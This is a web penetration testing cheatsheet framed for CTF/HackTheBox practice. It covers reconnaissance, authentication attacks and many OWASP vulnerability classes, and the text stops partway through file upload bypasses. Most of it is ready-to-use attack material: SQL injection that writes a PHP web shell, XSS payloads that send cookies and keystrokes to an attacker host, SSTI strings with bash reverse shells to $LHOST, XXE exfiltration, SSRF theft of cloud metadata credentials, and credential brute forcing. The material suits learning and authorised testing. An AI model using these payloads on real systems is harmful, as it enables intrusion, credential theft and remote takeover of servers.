Web Penetration Testing Cheatsheet
by J0stif · OWASP Top 10 + CTF/HTB Coverage
📋 TABLE OF
CONTENTS
- Environment Setup & Tools
- Phase 1 — Reconnaissance & Mapping
- Phase 2 — Authentication Attacks
- A01 — Broken Access Control
- A02 — Cryptographic Failures
- A03 — SQL Injection
- A04 — NoSQL / Other Injection
- A05 — Security Misconfiguration
- A06 — XSS (Cross-Site Scripting)
- A07 — SSRF (Server-Side Request Forgery)
- A08 — SSTI (Server-Side Template Injection)
- A09 — XXE (XML External Entity)
- A10 — File Upload Attacks
- A11 — LFI / Path Traversal / RFI
- A12 — Command Injection
- A13 — Insecure Deserialization
- A14 — JWT Attacks
- A15 — OAuth & OIDC Attacks
- A16 — CSRF
- A17 — WebSockets Attacks
- A18 — GraphQL Attacks
- A19 — API Security Testing
- A20 — Race Conditions
- A21 — HTTP Request Smuggling
- A22 — CORS Misconfigurations
- A23 — Prototype Pollution
- A24 — LDAP Injection
- A25 — Web Cache Poisoning
- Post-Exploitation — Web Shell & Pivot
- Tools Quick Reference
🛠️ Environment
Setup & Tools
# Variables
export URL="http://target.htb"
export IP=10.10.11.XXX
export LHOST=10.10.14.XXX
export LPORT=4444
# /etc/hosts
echo "$IP target.htb" >> /etc/hosts
# Burp Suite — proxy everything
# Browser: 127.0.0.1:8080
# CA cert: http://burpsuite/
# Essential tools check
which ffuf gobuster feroxbuster sqlmap nikto wfuzz curl httpx
# Install missing
pip3 install sqlmap
apt install ffuf gobuster feroxbuster nikto wfuzz
Burp Suite Essentials
# Intercept toggle: Proxy → Intercept → On/Off
# Repeater: Ctrl+R (send request to Repeater)
# Intruder: Ctrl+I (send to Intruder for fuzzing)
# Scanner: Right-click → Scan
# Decoder: Ctrl+Shift+D
# Comparer: Ctrl+Shift+C
# Search in history: Proxy → HTTP History → Filter
# Must-have extensions (BApp Store):
# - Param Miner (hidden params discovery)
# - JWT Editor (JWT attacks)
# - Turbo Intruder (race conditions, fast fuzzing)
# - SQLiPy (SQLMap integration)
# - Active Scan++ (better scanner)
# - Retire.js (outdated JS libraries)
# - Upload Scanner (file upload attacks)
# - Hackvertor (encoding chains)
# - Autorize (access control testing)
Phase 1 —
Reconnaissance & Mapping
1.1 Technology Fingerprinting
# Wappalyzer (browser extension) — auto-detect stack
# Or manual:
curl -I $URL # headers: Server, X-Powered-By, Set-Cookie
curl -s $URL | grep -i "generator\|powered\|framework\|version"
# WhatWeb
whatweb $URL
whatweb -v $URL
whatweb -a 4 $URL # aggressive
# httpx
echo $URL | httpx -tech-detect -title -status-code -content-length
# Nikto (quick vuln scan)
nikto -h $URL
nikto -h $URL -ssl # HTTPS
# Check robots.txt and sitemap
curl $URL/robots.txt
curl $URL/sitemap.xml
curl $URL/sitemap_index.xml
1.2 Directory & File Fuzzing
# ffuf — best overall
ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 100
ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -t 100
ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e
.php,.html,.txt,.bak,.old,.zip,.tar.gz -t 100
ffuf -u $URL/FUZZ -w wordlist.txt -mc 200,201,301,302,403 -fc 404 -fs 0
# Filter by size / words / lines
ffuf -u $URL/FUZZ -w wordlist.txt -fs 1234 # filter size
ffuf -u $URL/FUZZ -w wordlist.txt -fw 10 # filter word count
ffuf -u $URL/FUZZ -w wordlist.txt -fl 50 # filter line count
ffuf -u $URL/FUZZ -w wordlist.txt -fc 302 # filter redirect
# Feroxbuster (recursive auto)
feroxbuster -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,html,txt,bak
-t 100
feroxbuster -u $URL -w wordlist.txt --depth 3 -x php,aspx,html
# Gobuster
gobuster dir -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,txt,html -t
50
gobuster dir -u $URL -w wordlist.txt -b 404,403 # blacklist status codes
# IIS-specific
ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt
ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/SVNDigger/all.txt
# Backup files
ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/backup-filenames.txt
1.3 Subdomain & Vhost Fuzzing
# Subdomain enumeration
ffuf -u http://FUZZ.target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 100
gobuster dns -d target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 50
amass enum -d target.htb
# Vhost fuzzing (different Host header, same IP)
ffuf -u $URL -H "Host: FUZZ.target.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
-fs [baseline_size] -t 100
gobuster vhost -u http://target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
--append-domain
# After finding vhosts, add to /etc/hosts and enumerate each
1.4 Parameter Discovery
# Arjun — hidden parameter discovery
arjun -u $URL/page.php
arjun -u $URL/page.php -m POST
arjun -u $URL/api/endpoint -m JSON
arjun -u $URL -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
# ffuf — parameter fuzzing
ffuf -u "$URL/page.php?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
ffuf -u "$URL/page.php?id=FUZZ" -w /usr/share/seclists/Fuzzing/Integers.fuzz.txt
# Param Miner (Burp extension) — auto finds hidden params
# JS file analysis
# Find all JS files
ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -e .js
# Extract endpoints from JS
curl -s $URL/app.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"
curl -s $URL/app.js | grep -Eo '\"\/[a-zA-Z0-9_/.-]*\"' | tr -d '"'
# LinkFinder
python3 linkfinder.py -i $URL -d -o cli
1.5 Source Code Review
# View page source
curl -s $URL | grep -i "comment\|todo\|fixme\|hack\|password\|key\|secret\|api"
curl -s $URL | grep -i "<!--" # HTML comments
# .git exposure
curl $URL/.git/HEAD
git-dumper $URL/.git ./dumped_repo
# Then: git log, git diff, grep -r password
# Other exposed files
curl $URL/.env
curl $URL/.env.local
curl $URL/.env.backup
curl $URL/config.php
curl $URL/config.js
curl $URL/wp-config.php
curl $URL/settings.py
curl $URL/database.yml
curl $URL/appsettings.json
curl $URL/.htaccess
curl $URL/web.config
curl $URL/phpinfo.php
curl $URL/info.php
Phase 2 —
Authentication Attacks
2.1 Brute Force & Credential Stuffing
# Hydra — HTTP form POST
hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-post-form
"/login:username=^USER^&password=^PASS^:Invalid credentials" -V
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt $IP http-post-form
"/login:user=^USER^&pass=^PASS^:F=Login failed"
# Hydra — HTTP GET form
hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-get-form
"/login:user=^USER^&pass=^PASS^:F=incorrect"
# Hydra — HTTP basic auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-get /admin/
# ffuf — login brute force
ffuf -u $URL/login -X POST -d "username=admin&password=FUZZ" -w /usr/share/wordlists/rockyou.txt -fc 302 -t
50
# Username enumeration (different response size/time)
ffuf -u $URL/login -X POST -d "username=FUZZ&password=wrongpass" -w
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -fs [valid_size]
# Medusa
medusa -h $IP -U users.txt -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/login -m
FORM:username=&password= -m DENY:Invalid
# Default credentials to always try
admin:admin
admin:password
admin:admin123
admin:123456
administrator:administrator
root:root
guest:guest
test:test
2.2 Password Reset Flaws
# Token predictability — collect multiple tokens, check entropy
# Check if token is timestamp-based, sequential, or MD5 of email
# Host header injection in password reset
# Change Host header to your server, intercept reset link
POST /forgot-password
Host: $LHOST ← inject your server
email=victim@target.com
# If vulnerable, reset link will point to your server
# Parameter pollution
POST /forgot-password
email=victim@target.com&email=attacker@attacker.com
# Token reuse — is token invalidated after use?
# Token scope — does token for one user work for another?
# Response manipulation — change "false" to "true" in OTP verification response
2.3 MFA Bypass
# Skip MFA step entirely — after first factor, directly access protected
resource
# Response manipulation
POST /verify-otp
{"otp": "000000"}
# If response: {"valid": false} → change to {"valid": true} in Burp → forward
# Code reuse — try previously used OTP
# Brute force OTP (4-6 digits)
ffuf -u $URL/verify -X POST -d '{"otp":"FUZZ"}' -H "Content-Type: application/json" -w
/usr/share/seclists/Fuzzing/4-digits-0000-9999.txt
# Backup code abuse — try common backup codes: 00000000, 12345678
# Account takeover via MFA — if email is changeable before MFA step
A01 — Broken
Access Control
IDOR (Insecure Direct Object Reference)
# Change ID in URL / body / header
GET /api/user/1337/profile → try /api/user/1/profile (admin)
GET /api/orders/1337 → try /api/orders/1
# GUIDs — not random? Predict or brute force
GET /api/user/550e8400-e29b-41d4-a716-446655440000
# Parameter pollution
GET /api/profile?user_id=attacker_id&user_id=victim_id
# JSON body IDOR
{"user_id": 1337} → change to {"user_id": 1}
# Hidden parameters (X-User-Id, X-Account-Id headers)
X-User-ID: 1
# Mass assignment / auto-binding
POST /api/user/update
{"username":"attacker","is_admin":true,"role":"admin"}
# Blind IDOR — no visible data, but behavior changes (different response time, different
error)
Privilege Escalation
# Horizontal → access other user's resources
# Vertical → access higher privilege functions
# Function-level access control
GET /admin/users → 403
GET /ADMIN/users → 200? (case)
GET /admin/users/ → 200? (trailing slash)
GET /admin%2fusers → 200? (URL encoding)
GET /./admin/./users → 200? (path traversal)
GET /api/v1/admin/users → 403
GET /api/v2/admin/users → 200? (old version)
GET /api/admin/users → 403
GET /api/admin-users → 200? (different endpoint)
# HTTP method override
POST /admin/delete
X-HTTP-Method-Override: GET
# Referer-based access control
Referer: http://target.htb/admin
# Forced browsing — enumerate admin paths
ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common-admin-filenames.txt
JWT Role Tampering (see also A14)
# Decode JWT payload
echo "PAYLOAD_BASE64" | base64 -d
# Change "role":"user" to "role":"admin"
# Re-encode and sign with None algorithm or known secret
A02 —
Cryptographic Failures
Sensitive Data Exposure
# Check HTTPS enforcement
curl -I http://$URL # should redirect to HTTPS
# Check HSTS header
curl -I https://$URL | grep Strict-Transport
# SSL/TLS issues
testssl.sh $URL
sslscan $URL
nmap --script ssl-enum-ciphers -p 443 $IP
# Weak ciphers, expired certs, self-signed certs
openssl s_client -connect $IP:443
# Check for sensitive data in:
# Response headers (debug info, stack traces)
# HTML comments
# JavaScript files (API keys, passwords)
# Error messages (database errors, file paths)
# Logs accessible via LFI
Insecure Cryptography
# Identify hash types
hash-identifier <hash>
hashid <hash>
# Crack weak hashes
hashcat -m 0 md5.txt rockyou.txt # MD5
hashcat -m 100 sha1.txt rockyou.txt # SHA1
john hash.txt --wordlist=rockyou.txt
# ECB mode block manipulation
# If encrypted data is in blocks of 16 bytes and you can control input:
# Insert padding to align sensitive data at block boundary
# Swap cipher blocks to modify meaning
# Padding oracle attack
python3 padbuster.py $URL/decrypt?data=CIPHERTEXT 8 -encoding 0
# CBC bit-flipping
# Flip bits in previous cipher block to modify next plaintext block
# Position: byte to flip = target_byte XOR known_plaintext XOR desired_plaintext
A03 — SQL
Injection
Detection
# Error-based detection — inject these and look for DB errors
'
''
`
')
"))
' OR '1'='1
' OR 1=1--
" OR 1=1--
' OR 'x'='x
1' ORDER BY 1--
1' ORDER BY 100-- (error = number of columns exceeded)
1 WAITFOR DELAY '0:0:5'-- (MSSQL time-based)
1' AND SLEEP(5)-- (MySQL time-based)
1' AND 1=1-- (boolean true)
1' AND 1=2-- (boolean false — different response)
Manual Exploitation
# Step 1: Find number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- # error here = 2 columns
# Step 2: Find visible columns (UNION)
' UNION SELECT NULL,NULL--
' UNION SELECT 'a',NULL--
' UNION SELECT NULL,'a'--
# Step 3: Extract DB info
' UNION SELECT version(),NULL-- # MySQL
' UNION SELECT @@version,NULL-- # MSSQL
' UNION SELECT banner,NULL FROM v$version-- # Oracle
# Extract database name
' UNION SELECT database(),NULL-- # MySQL
' UNION SELECT DB_NAME(),NULL-- # MSSQL
# Extract tables
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
# MSSQL:
' UNION SELECT table_name,NULL FROM information_schema.tables--
# Extract columns
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
# Extract data
' UNION SELECT username,password FROM users--
' UNION SELECT username||':'||password,NULL FROM users-- # concat (Oracle/PostgreSQL)
' UNION SELECT CONCAT(username,':',password),NULL FROM users-- # MySQL
# Read files (MySQL)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL--
# Write files (MySQL — if FILE priv + writable path)
' UNION SELECT '<?php system($_GET[\"cmd\"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'--
SQLMap
# Basic
sqlmap -u "$URL/page?id=1" --dbs
sqlmap -u "$URL/page?id=1" -D dbname --tables
sqlmap -u "$URL/page?id=1" -D dbname -T users --dump
# POST request
sqlmap -u "$URL/login" --data="username=admin&password=test" --dbs
# From Burp request file
sqlmap -r request.txt --dbs
sqlmap -r request.txt -D dbname -T users --dump
# With cookies
sqlmap -u "$URL/page" --cookie="PHPSESSID=abc123" --dbs
# JSON body
sqlmap -u "$URL/api/search" --data='{"id":1}' --headers="Content-Type: application/json" --dbs
# Level / Risk (higher = more tests, more intrusive)
sqlmap -r request.txt --level=5 --risk=3 --dbs
# Specify DBMS
sqlmap -r request.txt --dbms=mysql --dbs
sqlmap -r request.txt --dbms=mssql --dbs
sqlmap -r request.txt --dbms=postgresql --dbs
# Techniques
sqlmap -r request.txt --technique=BEUSTQ # all techniques
sqlmap -r request.txt --technique=T # time-based only (blind)
sqlmap -r request.txt --technique=B # boolean only (blind)
sqlmap -r request.txt --technique=U # UNION only
# File operations
sqlmap -r request.txt --file-read=/etc/passwd
sqlmap -r request.txt --file-write=shell.php --file-dest=/var/www/html/shell.php
# OS shell
sqlmap -r request.txt --os-shell
# Tamper scripts (WAF bypass)
sqlmap -r request.txt --tamper=space2comment,between --dbs
sqlmap -r request.txt --tamper=randomcase --dbs
# Common tamper scripts:
# space2comment — replace spaces with /**/
# between — replace > with BETWEEN
# randomcase — RaNdOmCaSe keywords
# base64encode — base64 encode
# charencode — URL encode chars
# equaltolike — = to LIKE
# greatest — > to GREATEST()
Blind SQLi — Manual
# Boolean-based
' AND SUBSTRING(password,1,1)='a'-- # first char of password is 'a'?
' AND ASCII(SUBSTRING(password,1,1))>64-- # binary search on ASCII
# Time-based
' AND SLEEP(5)-- # MySQL
' AND IF(1=1,SLEEP(5),0)-- # MySQL conditional
'; WAITFOR DELAY '0:0:5'-- # MSSQL
' AND 1=1; SELECT SLEEP(5)--
# Out-of-band (OOB) — trigger DNS/HTTP to your server
' AND LOAD_FILE(CONCAT('\\\\',database(),'.burpcollaborator.net\\share'))--
# MSSQL:
'; EXEC master..xp_dirtree '\\$LHOST\share'--
Second-Order SQLi
# Inject payload in one place (e.g. registration: username =
admin'--)
# Payload executes when used in a different query (e.g. profile page query)
# No immediate output — need to check later pages
A04 — NoSQL /
Other Injection
MongoDB / NoSQL Injection
# Authentication bypass
# Original: {"username": "admin", "password": "pass"}
# Injected:
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": "wrongpassword"}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
# URL parameter
?username[$gt]=&password[$gt]=
?username[$regex]=.*&password[$regex]=.*
?username=admin&password[$ne]=invalid
# Array injection
?username[]=admin&password[]=password
# Data extraction (blind)
{"username": "admin", "password": {"$regex": "^a"}} # password starts with 'a'?
{"username": "admin", "password": {"$regex": "^ab"}} # password starts with 'ab'?
# nosqli tool
nosqli -u "$URL/login" -p "username=admin&password=FUZZ" -f /path/to/payloads.txt
XPath Injection
# Authentication bypass
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
' or 1=1]%00
# Data extraction
' or substring(//user[1]/password,1,1)='a
' or string-length(//user[1]/password)=8
# Automated
xcat $URL/login username password --true="Welcome" --false="Invalid"
LDAP Injection
# Authentication bypass
*)(uid=*))(|(uid=* # classic
admin)(&) # admin with anything
*)(objectClass=*) # wildcard
# Example in URL
?user=admin)(&)&pass=anything
?user=*)(uid=*))(|(uid=*
# Data extraction
*(|(cn=a*)) # usernames starting with 'a'
# Automated
python3 ldap-brute.py -u $URL -p "user=INJECT&pass=test"
A05 —
Security Misconfiguration
Default Credentials & Admin Panels
# Find admin panels
ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common-admin-filenames.txt
# Common paths
/admin /administrator /admin.php /admin/login
/wp-admin /wp-login.php
/phpmyadmin /pma /phpMyAdmin
/manager/html (Tomcat)
/console (JBoss/WildFly)
/actuator /actuator/health /actuator/env /actuator/mappings /actuator/heapdump
/solr /solr/admin
/jenkins /jenkins/login
/grafana /kibana
/adminer.php /adminer
# Default creds to try
admin:admin | admin:password | admin:admin123
tomcat:tomcat | tomcat:s3cret | manager:manager
root:root | sa: (MSSQL)
pi:raspberry (Raspberry Pi)
Debug / Info Disclosure
# Spring Boot Actuator (huge info dump)
curl $URL/actuator
curl $URL/actuator/env # environment variables, config
curl $URL/actuator/heapdump # heap dump → extract passwords
curl $URL/actuator/mappings # all routes
curl $URL/actuator/beans # all beans
curl $URL/actuator/trace # request traces
curl $URL/actuator/logfile # logs
# Parse heapdump
java -jar heapdump_analyzer.jar heapdump
strings heapdump | grep -i "password\|secret\|token\|key\|api"
# phpinfo() exposure
curl $URL/phpinfo.php
curl $URL/info.php
curl $URL/php_info.php
# Error messages leaking paths/stack traces
# Submit invalid data and analyze errors
# .DS_Store (macOS metadata)
curl $URL/.DS_Store
python3 ds_store_exp.py $URL/.DS_Store
# webpack / source maps
curl $URL/static/app.js.map
curl $URL/bundle.js.map
# Contains original source code
Dangerous HTTP Methods
# Check allowed methods
curl -X OPTIONS $URL -v
nmap --script http-methods -p 80,443 $IP
# PUT — file upload
curl -X PUT $URL/shell.php -d '<?php system($_GET["cmd"]); ?>'
# DELETE — delete files
curl -X DELETE $URL/important.txt
# TRACE — reflected XSS via TRACE method
curl -X TRACE $URL -H "XSS: <script>alert(1)</script>" -v
A06 — XSS
(Cross-Site Scripting)
Detection
# Basic probes
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
javascript:alert(1)
<iframe src=javascript:alert(1)>
# Context-aware payloads
# Inside HTML tag attribute:
" onmouseover="alert(1)
' onmouseover='alert(1)
" autofocus onfocus="alert(1)
# Inside JavaScript string:
';alert(1)//
\';alert(1)//
</script><script>alert(1)</script>
# Inside HTML comment:
--><script>alert(1)</script>
# Dalfox — automated XSS scanner
dalfox url "$URL/search?q=test"
dalfox url "$URL/search?q=test" --skip-bav # faster
dalfox file urls.txt # from file
# XSStrike
python3 xsstrike.py -u "$URL/page?param=test"
python3 xsstrike.py -u "$URL/page" --data "param=test" --blind
Payload Variations (WAF bypass)
# Case variation
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
# Encoding
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=alert(1)>
<svg><script>alert(1)</script>
# No parentheses
<img src=x onerror=alert`1`>
<svg/onload=alert`1`>
# Double encoding
%253Cscript%253Ealert(1)%253C/script%253E
# null byte
<%00script>alert(1)</%00script>
# Protocol variations
<a href="javascript:alert(1)">click</a>
<a href="java�script:alert(1)">click</a>
# SVG payloads
<svg><animate onbegin=alert(1) attributeName=x></svg>
<svg><set attributeName=onmouseover to=alert(1)></svg>
<math><mstyle><mrow><msub><mi id="a">X</mi><mo id="b"
onmouseover="eval(id.a.textContent+id.c.textContent)">alert(1)</mo></msub><mi
id="c"></mi></mrow></mstyle></math>
Exploitation
# Cookie theft — serve a collector
python3 -m http.server 80
<script>new Image().src='http://$LHOST/?c='+document.cookie</script>
<script>fetch('http://$LHOST/?c='+btoa(document.cookie))</script>
<img src="x" onerror="this.src='http://$LHOST/?c='+document.cookie">
# Stored XSS → session hijack
# 1. Inject payload in stored field (comment, profile, etc.)
# 2. When admin views it, cookie is sent to you
# 3. Use cookie in Burp → access admin panel
# Keylogger
<script>document.onkeypress=function(e){fetch('http://$LHOST/?k='+btoa(e.key))}</script>
# Phishing overlay
<script>document.body.innerHTML='<form action="http://$LHOST/steal">Username: <input
name=u><br>Password: <input type=password name=p><br><input
type=submit></form>'</script>
# XSS to CSRF (steal CSRF token + perform action)
<script>
fetch('/account/settings').then(r=>r.text()).then(html=>{
var token = html.match(/csrf_token.*?value="(.*?)"/)[1];
fetch('/account/delete',{method:'POST',body:'csrf_token='+token,headers:{'Content-Type':'application/x-www-form-urlencoded'}});
});
</script>
# DOM-based XSS sources
document.URL / document.location / location.hash / location.search
document.referrer / window.name
localStorage / sessionStorage
# DOM-based XSS sinks
document.write() / document.writeln()
innerHTML / outerHTML
eval() / setTimeout() / setInterval()
location / location.href / location.replace()
Blind XSS
# Use XSS Hunter or your own server
# Payload sends full page + cookies to your server when triggered
<script src="https://xsshunter.com/payload.js"></script>
# Manual blind XSS payload (collect cookies + page content)
<script>
var x=new XMLHttpRequest();
x.open('GET','http://$LHOST/?cookie='+btoa(document.cookie)+'&url='+btoa(document.location.href),true);
x.send();
</script>
# Host your payload externally for shorter injection
<script src=http://$LHOST/xss.js></script>
A07 —
SSRF (Server-Side Request Forgery)
Detection & Basic Exploitation
# Identify SSRF parameters
# Look for: url=, redirect=, path=, endpoint=, image=, load=, fetch=, host=, dest=
# Basic test — point to your server
curl "$URL/fetch?url=http://$LHOST/"
curl "$URL/image?src=http://$LHOST/"
# Internal port scan via SSRF
for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200; do
curl -s "$URL/fetch?url=http://127.0.0.1:$port/" -m 2 && echo "Port $port open"
done
# Read internal metadata
curl "$URL/fetch?url=http://127.0.0.1/"
curl "$URL/fetch?url=http://localhost/"
curl "$URL/fetch?url=http://[::1]/"
curl "$URL/fetch?url=http://0.0.0.0/"
curl "$URL/fetch?url=http://0/"
# Cloud metadata
curl "$URL/fetch?url=http://169.254.169.254/latest/meta-data/" # AWS
curl "$URL/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl "$URL/fetch?url=http://metadata.google.internal/computeMetadata/v1/" # GCP
curl "$URL/fetch?url=http://169.254.169.254/metadata/v1/" # DigitalOcean
curl "$URL/fetch?url=http://169.254.169.254/metadata/instance" # Azure
SSRF Bypass Techniques
# IP representation bypass
http://2130706433/ # decimal of 127.0.0.1
http://0x7f000001/ # hex
http://0177.0000.0000.0001/ # octal
http://127.1/ # short form
http://127.000.000.001/
# URL scheme abuse
file:///etc/passwd # read local files
dict://localhost:11211/stat # memcached
gopher://localhost:6379/_INFO # Redis
ftp://localhost:21/
# DNS rebinding
# Register a domain that resolves to external IP, then rebinds to 127.0.0.1
# Redirect bypass
# Set up your server to redirect to internal address
# http://$LHOST/redirect → 302 → http://127.0.0.1:80/
# Unicode/encoding bypass
http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ/
http://127.0.0.1%25.google.com/
# Double URL encoding
http://%31%32%37%2E%30%2E%30%2E%31/
# Whitelisted domain bypass
http://allowed.domain.com@127.0.0.1/
http://127.0.0.1#allowed.domain.com
http://allowed.domain.com.attacker.com/ # if only prefix checked
SSRF → RCE Scenarios
# Redis via SSRF (Gopher protocol)
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...
# SSRF to AWS metadata → credentials → further access
curl "$URL/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
# Extract: AccessKeyId, SecretAccessKey, Token
# Use with AWS CLI:
AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=... aws s3 ls
# SSRF → internal admin panel → account takeover
curl "$URL/fetch?url=http://127.0.0.1:8080/admin/createUser?username=attacker&role=admin"
# SSRF → Elasticsearch (no auth)
curl "$URL/fetch?url=http://127.0.0.1:9200/_cat/indices"
curl "$URL/fetch?url=http://127.0.0.1:9200/index/_search"
A08 — SSTI (Server-Side Template Injection)
Detection
# Universal detection payloads — inject and check if expression is
evaluated
{{7*7}} → 49 ? (Jinja2, Twig, Nunjucks)
${7*7} → 49 ? (FreeMarker, Thymeleaf, Mako)
<%= 7*7 %> → 49 ? (ERB, EJS)
#{7*7} → 49 ? (Ruby, Pebble)
*{7*7} → 49 ? (Spring Expression Language)
${7*'7'} → 7777777 ? (Jinja2)
{{7*'7'}} → 49 or 7777777 (tells Jinja2 vs Twig)
{7*7} → 49 ? (Smarty)
${{7*7}} → 49 ? (some engines)
# Tplmap — automated SSTI scanner + exploitation
python3 tplmap.py -u "$URL/page?name=test"
python3 tplmap.py -u "$URL/page" --data "name=test"
python3 tplmap.py -u "$URL/page?name=test" --os-shell
python3 tplmap.py -u "$URL/page?name=test" --os-cmd "id"
Jinja2 (Python — Flask, Django)
# Basic RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()}}
# Find index of subprocess.Popen
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}
# Safer — find os module dynamically
{% for x in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen('id').read()}}
{% endif %}
{% endfor %}
# config dump (Flask)
{{config}}
{{config.items()}}
# Globals dump
{{self.__dict__}}
{{g}}
# File read
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
# Reverse shell
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT
0>&1"').read()}}
Twig (PHP — Symfony, Laravel)
# RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
# Filter-based RCE
{{"id"|filter("system")}}
{{"id"|exec}}
{{["id"]|filter("system")}}
# Reverse shell
{{"bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"|system}}
FreeMarker (Java)
// RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${\"freemarker.template.utility.Execute\"?new()(\"id\")}
// Read file
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(',')}
ERB (Ruby — Rails)
# RCE
<%= system("id") %>
<%= `id` %>
<%= IO.popen('id').read %>
# Reverse shell
<%= IO.popen('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"').read %>
Smarty (PHP)
{system('id')}
{php}echo shell_exec('id');{/php}
{"id"|system}
Pebble / Velocity (Java)
// Pebble
{% set cmd = "id" %}
{% set exec = "java.lang.Runtime".asInstance().exec(cmd) %}
// Velocity
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke($e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")
A09 — XXE (XML
External Entity)
Basic XXE
<!-- Read local file -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
<!-- Read /etc/shadow -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]>
<root><data>&xxe;</data></root>
<!-- SSRF via XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://$LHOST/">]>
<root><data>&xxe;</data></root>
<!-- Read files with PHP wrapper -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
<root><data>&xxe;</data></root>
Blind XXE (OOB — Out-of-Band)
# Set up listener first
python3 -m http.server 80
# Or: nc -lvnp 80
# DTD file on your server (xxe.dtd):
cat > xxe.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://$LHOST/?f=%file;'>">
%eval;
%exfil;
EOF
# XXE payload pointing to your DTD
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % remote SYSTEM "http://$LHOST/xxe.dtd"> %remote;]>
<root><data>test</data></root>
XXE via File Uploads
# SVG file XXE
cat > xxe.svg << 'EOF'
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
<text y="20">&xxe;</text>
</svg>
EOF
# Upload xxe.svg, then view the image — file content rendered as text
# DOCX/XLSX XXE
# These are ZIP archives. Modify word/document.xml to add XXE, rezip.
mkdir docx && cd docx
cp ../file.docx .
unzip file.docx
# Edit word/document.xml — add XXE entity at top
zip -r ../malicious.docx .
XXE in JSON → XML Conversion
# If app converts JSON to XML internally
# Change Content-Type: application/json → text/xml
# Resend with XML body containing XXE
A10 — File Upload
Attacks
Extension Bypass
# PHP variants (try all)
shell.php shell.php3 shell.php4 shell.php5 shell.php7 shell.php8
shell.phtml shell.phtm shell.phar shell.phpt shell.pgif
shell.shtml shell.cgi
# Case bypass
shell.pHp shell.PHP shell.PhP
# Double extension
shell.jpg.php shell.php.jpg shell.php.gif
# Special characters
shell.php%00.jpg # null byte (PHP < 5.5)
shell.php%20 # space
